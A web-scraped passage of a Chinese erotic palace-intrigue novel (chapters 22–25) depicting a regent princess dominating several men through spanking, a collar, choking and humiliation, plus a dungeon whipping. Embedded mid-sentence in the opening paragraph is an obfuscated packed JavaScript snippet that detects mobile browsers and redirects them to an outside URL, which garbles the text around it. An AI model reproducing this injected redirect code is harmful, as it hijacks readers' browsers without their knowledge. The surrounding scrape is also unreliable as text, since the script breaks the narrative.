青年坐在窗子旁的软榻上,身上已经披上了绯红色的状元罗锦朝服,上面绣金饰银、广袖翩翩,头顶纱帽,发间簪上金簪、系上银带,腰间系上御赐玉佩,手中有板有眼的执着槐木笏板。 衣冠楚楚的小状元,更显眉目俊朗,一表人才。 越长风双目一亮,看着他一下从软榻上跳了起来跪伏在地,沉着微微颤抖的声音唱道:“臣顾锦卿,叩见长公主殿下。” 越长风嘴角勾起一抹微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095825|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,走过他的身前坐到软榻上,脚尖伸出勾住他几乎贴地的下巴。 “不是叫你抬起头来么?”她的声音回复到一贯的慵懒,尾音拖得长长的,尽是毫不掩饰的恶劣笑意。 顾锦卿顺着她脚上的动作,一点一点的抬头,又一点一点的直起身子。视线对上的一刻,本来一副俊美风流模样的青年立时化身成了可怜兮兮的小狗狗。 “殿下……”他仿佛有千言万语要说,最终却是化成了一声委屈的轻叹。 越长风待他的头抬到自己膝盖的位置时才收回了脚,却又转而踏在他的大腿内侧,微微俯身玉指轻抚他微微嫣红的狭长眼尾。 “小狗从前不是这么叫我的。”她嫣然一笑,笑着问:“是怪本宫欺骗了你?” 顾锦卿听见那声“小狗”,身躯一颤,眼尾的嫣红迅速泛上脸颊。 “臣……臣不敢。” 越长风把拇指轻轻按在他的唇角,有一下没一下的下按:“不敢的话,为何还自称作臣?” “姐姐……”顾锦卿的鼻息骤然加重,嗓音也变得沙哑起来。 “小狗……小狗只是不知怎样面对。” 玉指一下伸进他的口中,他也似足了一只讨好主人欢心的小狗一样,用自己柔软的舌尖包裹轻舔,一轻一重的为它按摩,充分照顾到手指上的一分一寸。 越长风一边用眼神示意他好好伺候,一边柔声哄着:“我不想让你知道我的身份,不就是希望你能好好读书,不为了我也不为了谁,好好为自己考试。” 顾锦卿往前一倾,依赖的靠着她的膝盖,嘴里的手指也探得更深。 越长风用另一只手脱下他头上乌纱,揉了揉他整齐梳起的发髻,对着依旧一脸委屈的小狗无奈的道:“要不你这样想,我隐瞒身份赞助你读书考试,是因为我从一开始便选择了你。” “我在四年前便知道,你会是我越氏天下最棒的状元郎,也会是姐姐一个人最棒的小狗。” 毫不走心的哄骗,对于顾锦卿而言却是琼浆玉液,就算是穿肠毒药他也甘之如饴。 他停住了嘴里的动作,含含糊糊的喊了一声:“姐姐。”眼中波光粼粼,似乎有些水雾。 越长风难得对一个人有这么多的耐心,俯身在他耳边,再次轻声诱导:“姐姐只对你一个人这么好,所以别再怪姐姐了,也别想疏远姐姐,好么?” 她把手指抽了出来,还不忘戏谑地夹夹小狗舌尖,轻轻一笑。 ——像极了顾锦卿在殿上听到的那一下轻笑。 顾锦卿沉吟良久,在大殿上自信满满侃侃而谈的状元郎此刻像是一个深陷情网的天真青年般踌躇不前。 过了不知多久,他眨了眨一双清明无辜的眼睛,嗫嚅道:“……对不起姐姐。” 越长风把湿濡的手指抹在他头顶的如藻墨发上,忽然看见了顾锦卿脱下来的旧衣折叠整齐的放在一旁,最上面的正是他向来用来簪发的那支毛笔。 她忽然有了一个好玩的想法。 “姐姐给你题一幅字,好不好?” 22.第 22 章 顾锦卿一时反应不过来:“题字?” 越长风轻笑,拍了拍他的后脑勺:“起身,去磨墨。” 本朝最年轻的状元郎以极度暧昧的姿势趴在书桌上,上身贴着桌面,右手动作虚浮的磨着墨,下身却是呈塌腰献臀之势,腰间系着的金玉腰带已被抽走,庄重典雅的状元袍被卷起至腰间,而袍下竟是不着寸缕。 越长风一手拿着抽下来的腰带,在空中挥舞一下,在听到腰带发出的破风之声时,满意地看到了小狗下意识的瑟缩。 “抖什么?”越长风装作不满的问,另一只手抚上他的身后,轻柔的动作让他提起的心缓缓放下。 然后在他沉醉在自己的温柔之际,在他最意想不到时重重落下。 顾锦卿惊呼出声,手中墨砚打翻在桌面。 “啧啧,都弄脏了。”越长风俯身在他耳边,舌尖轻舔他红艳欲滴的耳垂,刚刚下手毫不留情的掌心此刻正在他发烫的脸颊上轻搓慢捻。 顾锦卿结结巴巴的:“对……对不起姐姐。” 出口成文的小状元在她面前似乎就只会说这一句。 “两年前姐姐教你怎么伺候,要用二十下教训来换,那时你还欠我一下。小狗还记得吗?”越长风在他耳边闷闷一笑。 “现在,还回来了。” 记得。他又怎会不记得?那时候他的殷姐姐说,最后一下,要等到他高中状元再罚。 他的姐姐,没有忘记。 “多……多谢姐姐。” 瓮声瓮气的小狗大大的取悦了她,越长风轻声道:“好孩子。” “可是,你弄脏我的地方了。” “你说,怎么办才好呢。” 顾锦卿身上的状元袍在衣带解开之后已是松垮垮的,被越长风轻而易举的脱了下来。 他半推半就的任她施为,嘴里羞耻的呢喃:“姐姐……再管教我吧。” 状元袍服滑落在地,越长风把他左手握着的状元笏板掏了出来,冷硬的笏板取代柔嫩的触感在他背上游移,激起一阵阵战栗。 听见他自己请罚,越长风有些意外: “小狗这么乖?” 顾锦卿满面通红,咬紧下唇,没有说话。 “二十下,你记得怎样报数的。”越长风冷下声音,吩咐道:“手不许停,继续磨墨。” 顾锦卿一下嘤咛,竹制的笏板毫不留情的拍在身后。 “……一。” 越长风轻嗯一声,命令道:“翘高一点。” “是——啊?……二。”顾锦卿正在应是,忽然落下的笏板让他不禁发出一声惊呼,让越长风终于忍俊不禁,噗哧一声笑了出来。 她对他的肃冷和严厉,都不过是为了强调自己的支配地位,让他认清自己的位置;可是,有谁能对着把自己乖乖送上的、知情识趣的小狗不作动容呢? “十,姐姐……小狗好痛。” 不过十下,顾锦卿身后已经肿起了一块,红彤彤的诱人至极。长长的羽睫低垂,掩住了目中的得意。 其实他在贫民窟出身,远远不比那些世家公子身娇肉贵,就算后来入了聚贤阁,作为底层的枪替过的也不算是什么优渥日子。 其实他并不那么怕痛,不过是柔弱书生的形象更加惹人垂怜罢了。 “这就忍不住了?”越长风伸手一探,“可为什么你这里×了,嗯?” 顾锦卿的头更低了,几乎是贴着桌面:“我……没有……” 话音里隐约带着一丝哭腔。 “小骗子。”越长风轻轻一笑,玉手钻进状元郎的脸和桌面之间的缝隙,两指在他微张的嘴巴前一夹。 “舌头都伸出来了,其实是在享受吧。” 顾锦卿呜咽一声,没有回答。 ——明明她才是大骗子,骗了他整整四年,然后在大殿上居高临下的看他笑话。 桌上的墨砚已经几近满泻,越长风放下笏板和腰带,索性一手把青年的上身按到与桌面齐平,另一手拿起他以前簪在发中的毛笔。 “别动。”她言简意赅的命令。 “剩下十下先记着,姐姐给你题字。” 笔尖沾上顾锦卿新鲜磨好的墨,一勾一划的掠过他的背部。 狼毫的触感痒痒的,墨水沾在红肿的伤口上更是刺激到伤口更加滚烫,顾锦卿鼻息混浊,大口大口的喘着粗气。 越长风的笔锋是大开大合的风格,落笔毫不犹豫,不过片刻便已经写完在背上的字。 她拉着顾锦卿的手往后一掰,让他站直身子,然后让他转过身来面对自己。 “猜猜姐姐写的是什么字?” 顾锦卿茫然的摇了摇头,他刚刚光顾着忍住不去颤抖,哪里还知道自己背上被题了什么字? 越长风但笑不语,一手搭在他的胸前,就这样把人往倒后的方向推去。 殿中一角放有一面与人等高的铜镜,越长风一路推着顾锦卿,青年踉跄着脚步一路往后退去,一直走到铜镜之前。 越长风用食中二指掐住小状元的下巴,强迫他的头往后扭去,直到堪堪看到了铜镜里的自己。 白里透红的玉背像一张敞开的画卷一样,毫无保留地向看客展示了书法家的作品。 那是他在紫宸殿里慷慨激昂的: “知我罪我”。 顾锦卿呆呆的看着那四个字,笔锋锐利,气势磅礡,在铜镜里的倒影不怎么清楚,他却没有比这个时候更清楚感受到面前女郎的野望和抱负。 “殿下。”他没有唤她姐姐,本来满脸的青涩和羞耻一下尽去,眼里燃点着星星点点的仰慕的光芒。 “不畏人言,心存抱负,一切留待青史评价。” “这也是你的想法吗?” 越长风放下手中毛笔,双手捧着小状元的脸颊。他的眼神是那么的纯粹,身上明明不着寸缕,背后红红的一片,还被暧昧的在外露的肌肤上题字,此刻青年的周身却仿佛散发着圣洁柔和的金光。 太过纯净了。 太过 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她才刚宽衣躺下,忽听下人来报镇北将军求见,说是要来辞行。 越长风连手指头也懒得再动,懒洋洋的躺在榻上,直接让人进来自己的屋子里。 “怎么这就要走了?”她也没让裴玄行礼,微哑的声音带着疲惫的慵懒。 “进士科才刚刚结束,武举还没有完呢。” 裴玄走上前去,坐在软榻前的脚踏上,定定的凝视着她。 她似乎真的很累,又或者不愿施舍过多的感情,裴玄没有看到过多的关心,只有点点的好奇和婉惜。 半晌,他才叹了一口气,沉声道:“发生了军饷那些事,现在有了新的粮饷,殿下又查明了贪墨所得的去向,末将是真的要回去向将士们交代了。” 越长风半坐起来,伸手勾了勾他的下巴,摸摸他新长出来的胡渣。 “就不能为本宫多留一会?” 懒懒的嗓音中带着刻意的魅惑,裴玄却知道这话没有几分真心,大概就只是为了挑逗他而说。 他微微苦笑,“殿下不是总怀疑末将不知足吗?” “每三年能有这些日子和殿下相处,臣就已经很知足了。” 越长风看着他像大狗狗般眼尾微垂的眼眸,里面固然有一丝苦涩,却也有着属于裴大将军的意志和坚定。 无论是他还是自己,决定了的事从不容易更改。这大概也是她在六年前对父皇否定了自己对裴玄有任何感情的原因。 他可以去做自己想做的事,也可以为她去做她做不了的事。这样一个心有翱翔四海之志并且坚定不移的人,还是不要折了吧。 就这样一起各行各路,一期一会,还是挺好的。 “可是,本宫看到了你眼眸深处,还有浇不熄的欲\火。”再一次想通了的越长风心情顿觉轻松,俯身凑近,戏谑的笑:“那又算不算是人心不足?” 23.第 23 章 裴玄强行把自己挤到软榻上,虎背熊腰的男子像大狗狗般依偎在越长风怀中,怎么看怎么滑稽。 高大的身影就算拼命地往她的怀里挤,还是快要把她笼罩,小麦色的阳光俊脸在她面前一指之处晃来晃去,温热的鼻息与她微冷的气息交融,越长风却只觉眼前晃得难受。 她今天忙活了一整日,管教顾小状元还用了不少气力,仅剩的精力只能用来和裴玄打打嘴炮,可没有多余的用来真和他玩。 她左脚一伸把大狗狗踢下根本容不下两个人的软榻,在榻旁暗格抽出一个锦盒,里面装着蓝田暖玉精雕细琢而成的雅致玉器。她像向宠物狗抛骨头一样随手把玉器往裴玄跌落的方向一扔,慵懒说道:“自己动手,本宫累了。” 裴玄还真是像狗一样叼着玉器爬回软榻前,直起上身凑过头去讨要一下亲亲。 越长风并不吝啬对黏人大狗的奖赏,任他搂着抱着唇舌交缠。裴玄似乎誓要让她记住这一晚般不断讨好又索取,厚舌探索檀口的每一寸,滑过牙齿、上颚、舌底,再撩拨她的小舌与自己共舞。 双手则是敞开自己的衣襟,拉着她的手抚摸自己肌理分明的胸腹,让她感受壮硕的肌肉在柔荑的抚摸下一抖一抖的战栗,和胸肌下那心房强而有力的噗噗跳动。然后绕到后面,在挺圆的线条上连画小圈,手指似乎富有技巧的划过某些部位。 “殿下……”裴玄粗喘着气,哑声呢喃。 “……末将好想殿下。” 越长风的手指还在他的身前轻弹,轻笑着泼他冷水:“本宫人就在你面前,你想什么?” 裴玄覆往她的手按得更深,唇间在那一下溢出低呼,重重抽了一口气。 他不用她使一分力,视若珍宝般捧艺她的手游走自己全身,一边玩弄自己,一边把头埋在她的肩膊轻吻细咬,酥酥麻麻的让人感到愉悦,既贴心又霸道地在她身上留下自己的味道。 朦胧之间,男人含糊不清的重覆:“我好想你……” 不是镇北将军想昭阳长公主,是裴家小子想越长风了。 如今他得偿所愿手握重兵,唯独无法留在她的身边;而她成了比皇帝还要尊贵的人,唯独得不到曾经向往的自由。 直到天将亮时,越长风还真是一只手指也不用自己动,淋漓尽致的看他自己玩自己玩了一整晚,末了还把她抱上床去含着她的手指入睡。 越长风翻身下床时,裴玄还在依依不舍的嘬着。 她用指骨敲敲他的牙关:“今天是大传胪,裴小将军不去便罢,本宫可迟到不得。” 裴玄还在半梦半醒之间,微微张嘴,恰恰够越长风抽出手指。 她随意地把大狗狗流出的唾液抹在他的脸上,笑着命令:“等我回来再走。” 大传胪是天子正式封赏和授官予殿试进士的日子,文武百官皆身穿正装朝服站在含元殿外,领着新科进士站在队末。 越长风带着小皇帝款款而至,在一众人等跪拜之下走上御座。 平身之后,传胪官先唱一甲三人的名字,状元郎顾锦卿带着榜眼和探花上前迎榜。 三元及第的寒门传奇清朗俊逸,目光清奇,一副端方君子的模样,而且谈吐得体而又见解独到,就连那些看不起他的出身的世家大臣也不得不承认这位顾锦卿是当之无愧的状元郎。 这位当之无愧的状元郎此刻正在走到高高的台阶前代表一众新科进士领小皇帝和长公主赏,这次他没有低垂着头,而是脊梁挺直,仰首抬眸悄悄看向高台上的贵人。 别的大臣或者看不明白,以为那是初生之犊无畏无惧、骄傲自信的表现,只有高高在上的越长风和他的眼神对上,看见了他眸中的勾引和求怜。 ——也看见了他步履微微不稳,在衣物与臀部摩擦之间几不可见的微微颤抖。 传胪官宣读了进士授官的旨意,根据一贯惯例,状元为翰林院修撰,榜眼和探花为翰林院编修,二甲进士分布在六部和九寺之中,而三甲则多被外派到地方上任职。宣旨之后,顾锦卿站在前头,带领八十名新科进士跪下叩首谢恩。 这次越长风没有让小皇帝去把这位朝廷新贵把人扶起,而是亲自走下高台,在顾锦卿偷偷抬头的注目下,迈着不疾不徐的步子走到他的身前。 顾锦卿终于看清了那张隐在重重冕旒下、在殿试时未及看清的脸。 还是那一张威严肃穆的脸,翰林编修和摄政长公主的距离还是摆在那里,身后的酥麻炙痛和冕旒下那双似笑非笑的桃花眼却让他感到自己和姐姐是前所未有的接近。 知我罪我,惟她一人。 “状元郎请起。”越长风伸手虚扶,在朝服的广袖遮掩之下,指背隔着两层衣服轻轻扫过他的胸口。 顾锦卿一下子睁大眼睛,给了她从纯情小狗身上最渴望看到的反应。 ----- 与此同时,玄武卫衙门的秘密地牢。 玄武司使陆行舟没有参加大传胪,而是手执长鞭,站在被吊在刑架上的囚犯面前神情认真的比划着。 柳十三冷冷清清的笑了,除了那笑中似乎没有什么灵魂以外,男子笑起来的样子和当年名冠天下的柳家大郎没有什么差别。 “我在这里被关了这么多年,没有陆大人来陪我说话,我都快要闷死了。”柳十三对面前满布尖刺还沾了盐水的恐怖刑鞭视而不见,只是轻松笑叹:“我现在都快要期待陆大人的审问了。” 长鞭狠狠的落在柳十三的身上,一下子打出横跨胸腹的长长血痕。 “废话少说。”陆行舟面色阴冷,沉郁的声音充满压迫感。 “聚贤阁的阁主是谁,有什么目的?” 柳十三一愣,目光中透露茫然,一时之间没有答话。 鞭子毫不留情的再次落在他的身上,长长的鞭痕与第一条交叉对称。 “说。” 柳十三哑然失笑,摇了摇头:“聚贤阁没有阁主。” 他顿了顿,见陆行舟明显不信,又要挥鞭的样子,补充道:“至少,在六年前还没有。不过是世家之间互相维系和制衡的利益集团,最接近所谓阁主的大概便是太子和主上吧。” 言下之意便是,那时候最有号召力的两个人都在六年前死了,现在的聚贤阁是什么样子的,被关在地下六年的他又怎会知道? 陆行舟眼眸微眯:“那么,在柳时言死后,谁最有可能接替他的位置?” 柳十三自觉已经说了很多话,便紧抿嘴唇,不再开口。 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陆行舟一边说着,一边一丝不落的把柳十三的神色变化尽收眼底,缓缓说道:“因为两本帐簿。” 他如愿以偿的看到柳十三的脸色变得极度难看,一字一顿的继续:“有人把两本地下钱庄的帐簿交到了主上手中。” 柳十三似乎想问是谁,却是张了张嘴,欲言又止。 陆行舟把他禁锢在此处多年,他们之间是敌非友,可是他也知道在他身上有很多陆行舟想要知道的信息。到陆行舟获取了所需的一切,柳十三便不会再有活着的理由。 可是这两本帐簿对柳十三的意义,却远远超过两本帐簿,甚至他自己的性命。 因为他的主人,赋予他这个替身暗卫唯一存在意义的主人,便是为了这两本帐簿而丢了性命。 陆行舟用鞭柄挑起柳十三的下巴,满意地看着无论怎样严刑加身也是冷硬如石头的人终于出现了裂缝。 “你口中的小贱人,到底是谁?” 看似没头没脑的突兀问题,连着前面关于两本帐簿的陈述,让柳十三恰好把这两件事串连起来,骤然明白了箇中关键。 “是他把帐簿……” 柳十三止住了话。陆行舟冷冷的注视着他,不屑再说一个字。 两人大眼瞪小眼的,不知过了多久。 柳十三像泄了气般,眼内五味杂陈,最终还是选择吐了两句话。 “小贱人……生母卑贱不值一提,家主让他出生的唯一意义便是做大郎的替身暗卫。” “后来不知怎么说服了家主他别有用途,从此便离开了暗卫营。没想到结果还是吃里扒外的家伙。” 陆行舟本来已是阴霾满布的脸竟然还能再沉下几分,仿佛忘了把人从刑架上放下来般,直接抽起鞭子转身离开。 牢房的厚重铁门砰的一声关上,陆行舟走上地面,手执长鞭负手而立,刚从外面回来的玄武卫走近身前朝他行礼。 陆行舟敛去脸上怖色,淡淡道:“说。” “大传胪已经结束,殿下正在回府途中。”玄武卫悄悄看了看他的脸色,见没有什么变化,才说完自己的下半句:“柳家的马车也去了长公主府,正在小门外等待。” 24.第 24 章 大传胪后,在当届主考、所有高中进士的“老师”带领之下,状元郎和一众进士到慈恩寺塔下提名立碑,与开国功臣的功德碑并列,从此也是史上有名。 然后,一甲三名戴上花球和簪花,在礼部仪仗簇拥之下打马游街。 越长风想起长公主府中还有人等着她回去向她辞行,打消了看小状元肿着臀部骑马又不得不装作没事的兴致,匆匆摆驾回府。 刚进府门,便有下人来报:“柳家的马车来了,停在了小门外面。” 她还记得两人之间的“交易”:她会让他当上柳家家主,换他在科举结束后入府当她的面首。 如今大传胪一过,柳孤城不但立即来了,还自动自觉的在奴仆进出的小门等待,越长风不禁莞尔:他倒是知道应该把自己放在怎样的位置。 越长风心中隐隐生出了一丝期待,这次也不晾着他了,转身吩咐跟在身后的常茵:“把他带到水榭。” 常茵眨眨眼睛,笑得和她的顶头上司一样恶劣。 越长风向后院的方向走去,沿途没有看见裴玄的踪迹,却在经过中庭的人工湖前看到了水榭里那抹虎背熊腰的高大身影。 ……要不让人冲出去把常茵叫回来,先把柳孤城在门外晾上一个时辰再说? 可是她根本没有需要藏着掖着,反正裴玄今天便要起行,而柳孤城本就没有对她身边别的男人过问的资格。想到这里越长风嘲讽的笑笑,转身走上竹桥,直直走到水榭之中。 裴玄几乎是光着上身,本来穿着的武袍松垮垮的搭在肩头,烈日当空把阴影打在了他肌理分明的胸腹和背部上。 听见背后的脚步声,裴玄转过身去,漾起了阳光灿烂的笑容。 越长风嗤的一笑。 “裴小将军不是要走了么,这是要光着身子走?” 裴玄执起她袖下的手,拉着它搭上自己的胸肌。 “这不是怕殿下在这三年里会把末将忘得一干二净,想殿下再看一看、摸一摸、记住末将这具身子。” 大狗狗的眼睛似乎在努力的释出笑意,深处却是水光粼粼,漫着刻意压抑的不舍和哀怜。 越长风的手定在了他的胸前,没有如他所愿游走搓揉,却也没有绝情的挪开。 要驾驭好身边的每一个人,她便不能给予他们想要的所有东西;但是人非草木,岂能完全无情? 他们能给自己带来用处,也能给自己带来身心的愉悦,便施舍些小恩小惠,那也无妨。 一双多情的桃花眼定定的的看着面前刻意讨好的大狗狗,越长风一脸认真的说着毫不走心的哄骗:“本宫最挂念的,从来都是我的阿玄啊。” 尽管他已是镇北军的大将军,尽管他们之间的关系远超君臣,她平时总是戏谑的叫他裴小将军,不以他真正的官位相称,也不在称呼中展示对他的亲昵。所以听见这一声阿玄,裴玄也是心头一颤。 越长风顿了顿,嘴角扯起淡淡一笑,向裴玄说出了每一次他离京之前自己都会对他说的话。 “这三年,就拜托阿玄替我看看这个天下,守护这个天下了。” 裴玄眸光深深,神色凝重的注视着她,正要给予什么回应,眼角看到了正在竹桥另一端向水榭走来的男子。 男子一身月白锦袍,雍容华贵,俊美无俦,腰板挺直有如青竹屹立,脸上是恰到好处的谦润笑意,却带着一种可望而不可即的距离。 裴玄并不认得此人。但是无论是从男子的容貌还是气质,他都不难猜到他的身份。 他自然没有傻得去向越长风发出质问,而是当着男子投过来的目光,拉着她的手在自己的肌理沟壑之间摩挲按压,一边朗声问道:“末将这具身子,是不是殿下用得最顺手的一具。” ……问过又问? 越长风有些不耐,淡淡嗯了一声,换来的是裴玄拉着自己的手把身子贴得更近,朗声一笑:“有殿下这句,末将所求足矣。” 越长风也不是傻子,听出了这句明显不是说给自己听的,一回过身去便看到了正在往他们两人款款走来的柳孤城。 他的脸容还是没有什么变化,走到几乎便要抱在一起的两人跟前,彬彬有礼的一揖:“柳某见过长公主殿下。” 水榭外待命的常茵看见他的动作,心中腹诽:都从小门进来了,还拿出一副矜贵公子的体面尊严,装什么? 越长风转身坐在贵妃榻上,也顺便借此拉开了和裴玄之间的距离。 她看也不看眼前清高傲立的男子一眼,低头玩弄涂着鲜红蔻丹的指尖,漫不经心的道:“柳郎好像忘了,在本宫面前应有的态度。” ——柳郎好像忘了,你这是在求本宫。 ——求人就应该有求人的态度。 就算所谓的交易完成,柳孤城求了她,她帮了柳孤城,他在她的面前便永远也没有平等的一天。 柳孤城面色一变,腰背却依旧挺直,膝盖也是硬气得很。 越长风给常茵打了个眼色,常茵怎会不知她的心思,伸手便往柳孤城的肩膀压下去。 与上次越长风亲手按着他时不同,这一次柳孤城咬紧牙关,死活也不肯跪下去,常茵的力气本就没有他的大,只能无奈的看向越长风求救。 就在这时,水榭外传来急促的脚步声。 陆行舟几乎是足不沾地的迈着大步疾奔而来,直直奔到越长风坐着的贵妃榻前,毫不犹豫的单膝跪了下去。 “主上,卑职有要事禀报。” 裴玄眉头一皱,他不过是想在离京之前最后独占一下越长风的时间,怎么这长公主府里是来了越来越多的人了? 柳孤城嘴角几不可见的微微一勾,长长羽睫垂下,掩盖住眼眸里的兴味盎然。 越长风漠然睥睨着脚下跪着的男人,他口中的“要事”似乎是要她屏退别人的暗示,但她并不想让他如愿。 “难道有什么事,是裴将军和本宫的新面首听不得的么?”她似笑非笑的说着,还刻意强调了新面首三个字。 陆行舟本来已是冷冰冰的眼眸染上了挥之不去的阴霾,他用眼角的余光往旁边一仰,恰好看到了柳孤城眸中一闪即逝的精芒。 他深深吸了一口气,尽量压下汹涌的情绪,沉声问:“殿下当真要纳柳家四郎入府?” 越长风冷笑:“怎么,陆司使有意见?” 陆 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见他不语,越长风嗤笑一声,懒懒问:“他不可信,那谁可信?空口无凭的陆司使吗?” 陆行舟沉默了不知多久,感觉像是一辈子般遥远,最终只是哑声说道:“请主上相信卑职。” “没有人比卑职对主上忠诚。” 越长风伸脚挑起他的下巴,然后鞋尖稍稍下移,鞋尖屈辱的在陆行舟脖子上的肌肤滑动,偏偏那滑动的地方正是顾锦卿在会试之后被他用匕首架颈时划伤的地方。 “你在暗中窥视本宫。”鞋尖往左一划。 “胆敢动本宫其他的狗。”鞋尖往右一划。 “这就是陆司使所谓的忠诚么?”话音刚落,鞋尖毫无预兆的踹在玄袍金冠男人的胸口。 陆行舟依旧单膝跪着倒退两步,脸色冷静而沉默,任她肆意发泄,没有流露出一丝半点的不满。 越长风站起身来,找到依旧固执地伫立着的柳孤城面前,一下掐住他的脖子。 “柳郎说呢?”她的虎口慢慢收紧,然后是五指指节,越长风眉眼含笑,好整以暇的看着男子的鼻息加重,然后渐变虚弱,脸色越发的胀得通红。 “本宫可以相信你么?” 柳孤城的头脑糊成一片,眼前一下发黑,就在这时,脖子上的五指骤然松开。 世间的五光十色一下子回到视线里,柳孤城闭上眼睛又重新睁开,大口大口的吸着气,双膝一软,终于着地。 只是他的腰背还是挺得笔直,螓首高昂,就算刚刚几乎窒息,就算终于被迫屈服,却依旧是柳时言那副天生傲骨、清高矜贵的样子。 越长风轻蔑的笑:“这不就跪下去了?” 冰冷的视线缓缓扫过在场的一众男人,近来她不知是否对他们宠溺太过,这些人似乎都生出了不该有的心思。 她伸手按着柳孤城不肯低下的头,如刀一般的眸光不知是在看着手下猎物,还是别的那些旁观者。 “本宫身边,没有男人。” “只有奴。” “明白了么?” 25-30 第25章 第25章长公主的三堂课(三更合…… 柳孤城定定的看着她,眸子里犹如一片深潭的死寂。 不以物喜,不以己悲。这是柳时言接受了一辈子世家公子、下任家主接班人的教养;无论处于怎么样的逆境,他的目光也是高傲而平静,在气场上屹立高位而不倒。 越长风仰望了这样的柳时言一辈子。直到她亲手把银簪捅进他的脖子,一下又一下的,看着他的生命在他控制不住之下流逝,这才看见了他眼中的不甘、不忿、失控、无助,那些可谓软弱的感情。 在那一刻,她才发现自己最想在男人眼中看到的,其实并不是冷静自持、从容不迫那些高高在上的情绪。而是支离破碎,明珠蒙尘,含羞忍辱,高岭之花被折下泥泞的堕落。 看着柳孤城平无波澜的双目,越长风好像看到了得偿所愿的机会——一个弥补她来不及在柳时言身上尝试的那些玩法的机会。 越长风笑了起来。 “怎么,不服气?” 柳孤城下意识地咬了咬下唇,眸中深处燃起点点星火。 ——太好了,她就是要让这点星火演变成燎原之势。 “本宫不介意你不服气。”越长风眉眼弯弯,笑得好不愉快。“毕竟,柳郎不服气的样子,本宫可要好好珍惜。” 她话中意有所指,柳孤城未必明白,裴玄和陆行舟可是明白得很。他们都是经过驯化的狗,无论心里有多少妄念,一旦走近她的底线,只要她一个眼神,便会自动自觉的缩脚退回。 在她身边待过的男人之中,只有她曾经明媒正嫁的柳时言没有被驯服,甚至因为他的骄傲,因为他不愿屈居妻子之下,而最终与她走上了无法和解的对立面。 无法驯化的高岭之花总是比勾勾手指便会摇头摆尾的顺从家犬更加罕有,更加让人为之著迷。而现在这样一株同样名为“柳郎”的高岭之花再次出现了在越长风面前,让她可以再次享受折枝的过程,她的确是要好好珍惜的。 而他们两条驯服的家犬在主人面前,都没有指手划脚的权利。 越长风居高临下地打量着面前隐忍不发的男子,眉眼之间依然笑得缱绻,却是毫不留情的命令:“衣服脱光,腿张开跪着。” 柳孤城万万没想到她会在这里下这样的命令,先不说这水榭是在所有进出的人都会经过的中庭之中,水榭之中还站着一个裴玄、跪着一个陆行舟。 即使越长风自小和裴玄青梅竹马,即使陆行舟是越长风座下唯命是从的鹰犬。但那两人和她都有着暧昧不明的关系,而且都对自己怀有敌意。 他再怎样,也不可能在这两人面前光着身子,以屈辱的姿势展示自己吧? 还有,他的背上…… 柳孤城直挺挺的跪在那里,难以置信的看着她,身体僵硬,倔强地意图保持最后的尊严。 越长风眼眸微眯,抬手就是一个耳光狠狠掴上去。柳孤城似乎是猝不及防,被这一巴掌扇得身子一歪,左手情不自禁的捂住脸颊,脸上表情似乎有点懵。 “唉,”越长风深情地注视着男子被扇肿了的半边脸,惋惜的一叹,“这张脸,毁了就不像柳哥哥了。” “所以,柳郎要乖乖听话,知道吗?” 柳孤城眼睛红红的,死死盯着面前装模作样的女郎。 从小到大,这张脸都是他恶梦的来源,有多少次他都要想要拿着匕首把它划破,把它变得不再像自己所谓的大哥。可是,每一次他想起还在柳家家主手中的母亲,便只能咬着牙根,强迫自己把匕首放下,对着镜子继续学着柳时言的一颦一笑、一举一动。 后来他终于有了资本带着母亲离开柳家和暗卫营,挣扎求存靠的不再是自己和所谓大哥相似的脸和身形,恶梦却依旧如影随形,提醒着他永远都只能是柳时言的替身和影子。 可是,没有这张脸,越长风连看也不会看他一眼。 他还真的不能让它毁了。 见柳孤城眸光满满的不甘,倔犟的不肯低头,越长风不知道也不在乎他在想什么,终于把头转向水榭里的其他两个男人:“把他脱光。” 她的话音淡淡的,仿佛下的是寻常不过的命令。 裴玄呆若木鸡的站在那里,他早知道越长风面首无数,而自己不过是每三年才能一见的那种。但他断断没有想到,自己会成为殿下调教别人的其中一环。 或者……殿下在调教的,其实是他们两个? 因为他在看见柳家四郎的那一刻嫉妒了,想要在他面前宣示主权;因为陆行舟风尘仆仆赶来,就是千方百计的想要阻止这位柳家四郎入府。所以她现在要看谁更听话,谁可以放低自我,摒弃那些非份的妄念,成为她手中一件没有自己思想的、趁手好用的工具。 裴玄做不到。因为做不到,所以才会放弃尚公主的想法,投身远在边关的镇北军而建立自己的功业。 因为做不到,在玄武门之变后才会向她要求镇北军的统帅之位,与其要一个留在京中、留在她身边的机会,他还不如要自己掌握得住的十万兵权和一方势力。 裴玄从沉思之中回过神来,只见陆行舟沉着一张冷峻的脸,目无表情的开始脱着那位清隽男子的衣服。男子似乎挣扎了一下,却被武功高强的玄武司使死死制住,只能看着自己的外衣里衣被简单粗暴的褪下,再高贵的天山雪莲此时也不过是一朵被染污的、正在凋零的小白花。 越长风也不介意裴玄的不作为,反正她想要的,总会有被她时时敲打而急于向她表忠的家犬去做。 她重新坐回贵妃榻上,脚尖挑起柳孤城的下颌让他的视线与自己对上,柔媚的笑道:“陆司使风尘仆仆赶来警告本宫不要纳你,看来是非常非常讨厌你了。” “本来还想给你留点体面的,结果你还不是要被最讨厌你的人按着脱衣。” 男子眼中的点点星火没有燎原,似乎还熄灭了一点,只剩一片近乎绝望的平静。 “柳郎不知道主人问话,是要回话的么?”越长风歪了歪头,一脸仿佛发自真心的疑惑。 柳孤城像是在赌气,紧紧抿着好看的双唇,一个字也没有说。 “嗯,我知道了。”越长风柔柔的笑着:“不想说话,就不用说了。” 常茵不知道在什么时候已经悄悄离开,此刻拿着一条铁链回来,卡擦一声把铁链一头的铁质项圈扣在柳孤城脖子上。项圈不但厚重,而且冰冰凉凉的,尺寸仅仅比柳孤城的脖子粗一点点,在不让他窒息的情况之下却又逼他不得不承受项圈的冷意和重量。铁链的另一头则是扣在水榭中间的柱子上,长度短得他几乎不能移动,而且也站不起来,只能保持现在的跪姿。 